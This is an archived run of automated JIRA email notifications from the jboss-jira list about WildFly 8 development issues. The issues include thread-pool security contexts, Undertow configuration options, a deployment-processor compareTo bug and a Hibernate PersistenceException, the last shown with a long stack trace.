>                 Key: WFLY-2096
>                 URL: https://issues.jboss.org/browse/WFLY-2096
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, JSF
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Martin Kouba
>            Assignee: Stuart Douglas
>
> The problem is described in WELD-913. The fix was only applied to Weld servlet support [1] and not AS7/WildFly8 integration code (most probably because the target environment of the issue was Tomcat).
> [1]
> https://github.com/weld/core/blob/master/environments/servlet/core/src/main/java/org/jboss/weld/environment/servlet/jsf/WeldApplicationFactory.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 02:50:02 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 02:50:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2180) Thread threads pools inherit
 security context of submitting threads
In-Reply-To: <JIRA.12501788.1380523725355@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501788.1380523725355@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501788.1380523725355.5246.1380523802746@jira02.app.mwc.hst.phx2.redhat.com>

Stuart Douglas created WFLY-2180:
------------------------------------

             Summary: Thread threads pools inherit security context of submitting threads
                 Key: WFLY-2180
                 URL: https://issues.jboss.org/browse/WFLY-2180
             Project: WildFly
          Issue Type: Bug
          Components: EE, EJB, Server, Web (Undertow)
    Affects Versions: 8.0.0.Alpha4
            Reporter: Stuart Douglas
            Assignee: David Lloyd


Some thread pool implementation will immediately create a new thread if work is submitted and there is not enough threads available to handle it. This newly created thread will inherit the access control context of the thread that is submitting the work, which essentially means that thread pool threads have a random access control context. 

This is the root cause of UNDERTOW-102, and likely other security manager related failures as well.

I think that the best way to fix this is in the thread pool itself, as it should create the thread in a privileged block. We obviously cannot do this for JDK thread pools however.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:05:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 03:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2156) Upgrade scannotation to 1.0.3
In-Reply-To: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501531.1380123304000.5276.1380524703235@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2156?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808091#comment-12808091 ] 

Stuart Douglas commented on WFLY-2156:
--------------------------------------

Just FYI scannotation is not actually used (as we use Jandex instead), I only included it because I was worried about the possibility of runtime NoClassDefFoundErrors
                
> Upgrade scannotation to 1.0.3
> -----------------------------
>
>                 Key: WFLY-2156
>                 URL: https://issues.jboss.org/browse/WFLY-2156
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: REST
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Weinan Li
>            Assignee: Stuart Douglas
>
> RESTEasy has a dependency on 1.0.3 of scannotation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:12:02 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 03:12:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2110) HTTPS Listener: Security
 realm needs to be flagged 'required'
In-Reply-To: <JIRA.12500993.1379583117000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500993.1379583117000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500993.1379583117000.5295.1380525122960@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2110?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808095#comment-12808095 ] 

Stuart Douglas commented on WFLY-2110:
--------------------------------------

I am not sure what you mean. This is marked as required in the schema, and in the model it is not nilable with no default value.
                
> HTTPS Listener: Security realm needs to be flagged 'required'
> -------------------------------------------------------------
>
>                 Key: WFLY-2110
>                 URL: https://issues.jboss.org/browse/WFLY-2110
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>            Reporter: Heiko Braun
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.CR1
>
>
> It's required to add an https listeners. Otherwise the add dialogs doesn't work (See HTTP > Listeners HTTPS > Add)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:14:02 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 03:14:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2169) Add support to change various
 Undertow options through WildFly in standalone.xml
In-Reply-To: <JIRA.12501691.1380249028000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501691.1380249028000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501691.1380249028000.5327.1380525242799@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2169?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas reassigned WFLY-2169:
------------------------------------

    Assignee: Tomaz Cerar  (was: Stuart Douglas)


Tomaz, do you mind having a look at this? It should tie in with the other options stuff you were looking at.
                
> Add support to change various Undertow options through WildFly in standalone.xml
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-2169
>                 URL: https://issues.jboss.org/browse/WFLY-2169
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Ubuntu 12.04 LTS, openjdk-7-jdk-7u25-2.3.10-1ubuntu0.12.04.2
>            Reporter: Bernd Nigmann
>            Assignee: Tomaz Cerar
>
> Undertow's default for the maximum number of HTTP parameter it parses in a GET or POST is 1000:
> {noformat}
> 15:05:41,276 ERROR [io.undertow.request] (default task-17)
>    Servlet request failed HttpServerExchange{ POST /***/*******/****}:
>    java.lang.IllegalStateException: UT000047: The number of
>    parameters exceeded the maximum of 1000
> {noformat}
> In the Undertow sources (https://github.com/undertow-io/undertow/blob/master/core/src/main/java/io/undertow/UndertowOptions.java), I found this to be a configurable option: "{{MAX_PARAMETERS}}".
> Please allow changing some of these Undertow options through the WildFly {{standalone.xml}}. Tomaz Cerar asked me to create a ticket for this, based on the referenced forum thread.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:16:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 03:16:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.5333.1380525363865@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808100#comment-12808100 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> changed the Status of [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464] from ON_QA to VERIFIED
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:16:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 03:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.5336.1380525364147@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808101#comment-12808101 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> made a comment on [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464]

Verified on EAP 6.2.0.ER3
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:25:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 03:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.5355.1380525903174@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2057:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1013470

    
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:25:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 03:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.5362.1380525903584@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808103#comment-12808103 ] 

RH Bugzilla Integration commented on WFLY-2057:
-----------------------------------------------

Stuart Douglas <sdouglas at redhat.com> made a comment on [bug 1013470|https://bugzilla.redhat.com/show_bug.cgi?id=1013470]

Description of problem:

As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong. This can prevent the server booting correctly in some circumstances (e.g. with some versions of JDK8).
                
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:25:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 03:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.5369.1380525904306@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808104#comment-12808104 ] 

RH Bugzilla Integration commented on WFLY-2057:
-----------------------------------------------

Stuart Douglas <sdouglas at redhat.com> made a comment on [bug 1013470|https://bugzilla.redhat.com/show_bug.cgi?id=1013470]

Proposing for 6.2
                
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:37:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 03:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2118) PersistenceException breaks
 default error page
In-Reply-To: <JIRA.12501118.1379679983000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501118.1379679983000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501118.1379679983000.5385.1380526623487@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2118?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808107#comment-12808107 ] 

Stuart Douglas commented on WFLY-2118:
--------------------------------------

What happens if you change the 

stack-trace-on-error="local-only"

to 

stack-trace-on-error="disabled"

In the Undertow subsystem (or alternatively, access the page from a non-localhost address)? 
                
> PersistenceException breaks default error page
> ----------------------------------------------
>
>                 Key: WFLY-2118
>                 URL: https://issues.jboss.org/browse/WFLY-2118
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>            Reporter: Juergen Zimmermann
>            Assignee: Stuart Douglas
>         Attachments: mojarra-2.1.zip, testcase-WFLY-2118.zip
>
>
> I'm using the latest WildFly snapshot with Undertow 1.0.0.Beta13. When I get a PersistenceException caused by Hibernate due to an invalid entity (according to Bean Validation), then the webbrowser doesn't get the default error page. The stacktrace is shown below. I'll attach a testcase.
> {code}
> [com.arjuna.ats.arjuna] ARJUNA012125: TwoPhaseCoordinator.beforeCompletion - failed for SynchronizationImple< 0:ffffc0a8b801:4240ead4:523ac52c:15, org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization at 20cf7473 >: javax.persistence.PersistenceException: error during managed flush
> 	at org.hibernate.jpa.spi.AbstractEntityManagerImpl$CallbackExceptionMapperImpl.mapManagedFlushFailure(AbstractEntityManagerImpl.java:1785) [hibernate-entitymanager-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:118) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization.beforeCompletion(RegisteredSynchronization.java:53) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at com.arjuna.ats.internal.jta.resources.arjunacore.SynchronizationImple.beforeCompletion(SynchronizationImple.java:76) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.beforeCompletion(TwoPhaseCoordinator.java:273) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.end(TwoPhaseCoordinator.java:93) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.AtomicAction.commit(AtomicAction.java:162) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.internal.jta.transaction.arjunacore.TransactionImple.commitAndDisassociate(TransactionImple.java:1170) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.internal.jta.transaction.arjunacore.BaseTransaction.commit(BaseTransaction.java:126) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jbossatx.BaseTransactionManagerDelegate.commit(BaseTransactionManagerDelegate.java:75)
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.endTransaction(TransactionalInterceptorBase.java:131) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.invokeInOurTx(TransactionalInterceptorBase.java:77) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorRequired.intercept(TransactionalInterceptorRequired.java:52) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_40]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_40]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_40]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_40]
> 	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:90) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:75) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeInterception(InterceptorMethodHandler.java:48) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.invoke(InterceptorMethodHandler.java:41) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke(CombinedInterceptorAndDecoratorStackMethodHandler.java:53) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at testcase.web.CustomerModel$Proxy$_$$_WeldSubclass.create(Unknown Source) [classes:]
> 	at testcase.web.CustomerModel$Proxy$_$$_WeldClientProxy.create(Unknown Source) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_40]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_40]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_40]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_40]
> 	at javax.el.ELUtil.invokeMethod(ELUtil.java:326) [javax.el-3.0-b07.jar:3.0-b07]
> 	at javax.el.BeanELResolver.invoke(BeanELResolver.java:536) [javax.el-3.0-b07.jar:3.0-b07]
> 	at javax.el.CompositeELResolver.invoke(CompositeELResolver.java:256) [javax.el-3.0-b07.jar:3.0-b07]
> 	at com.sun.el.parser.AstValue.invoke(AstValue.java:269) [javax.el-3.0-b07.jar:3.0-b07]
> 	at com.sun.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:304) [javax.el-3.0-b07.jar:3.0-b07]
> 	at org.jboss.weld.util.el.ForwardingMethodExpression.invoke(ForwardingMethodExpression.java:40) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.el.WeldMethodExpression.invoke(WeldMethodExpression.java:50) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.util.el.ForwardingMethodExpression.invoke(ForwardingMethodExpression.java:40) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.el.WeldMethodExpression.invoke(WeldMethodExpression.java:50) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at com.sun.faces.facelets.el.TagMethodExpression.invoke(TagMethodExpression.java:105) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:87) [jsf-api-2.1.26.jar:2.1]
> 	at com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:101) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.component.UICommand.broadcast(UICommand.java:315) [jsf-api-2.1.26.jar:2.1]
> 	at javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:786) [jsf-api-2.1.26.jar:2.1]
> 	at javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1251) [jsf-api-2.1.26.jar:2.1]
> 	at com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:81) [jsf-impl-2.1.26.jar:2.1.26]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.1.26.jar:2.1.26]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:593) [jsf-api-2.1.26.jar:2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:59) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:81)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:58) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:209) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:69) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:130) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: javax.validation.ConstraintViolationException: Validation failed for classes [testcase.domain.Customer] during persist time for groups [javax.validation.groups.Default, ]
> List of constraint violations:[
> 	ConstraintViolationImpl{interpolatedMessage='Min length = 2, max length = 32', propertyPath=name, rootBeanClass=class testcase.domain.Customer, messageTemplate='Min length = {min}, max length = {max}'}
> 	ConstraintViolationImpl{interpolatedMessage='Zip code is 5 digits', propertyPath=zip, rootBeanClass=class testcase.domain.Customer, messageTemplate='Zip code is 5 digits'}
> 	ConstraintViolationImpl{interpolatedMessage='A name must have one capital letter, followed by small letters', propertyPath=name, rootBeanClass=class testcase.domain.Customer, messageTemplate='A name must have one capital letter, followed by small letters'}
> ]
> 	at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.validate(BeanValidationEventListener.java:159) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.onPreInsert(BeanValidationEventListener.java:94) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.action.internal.EntityInsertAction.preInsert(EntityInsertAction.java:196) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.action.internal.EntityInsertAction.execute(EntityInsertAction.java:96) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.execute(ActionQueue.java:377) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:369) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:286) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.event.internal.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:340) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
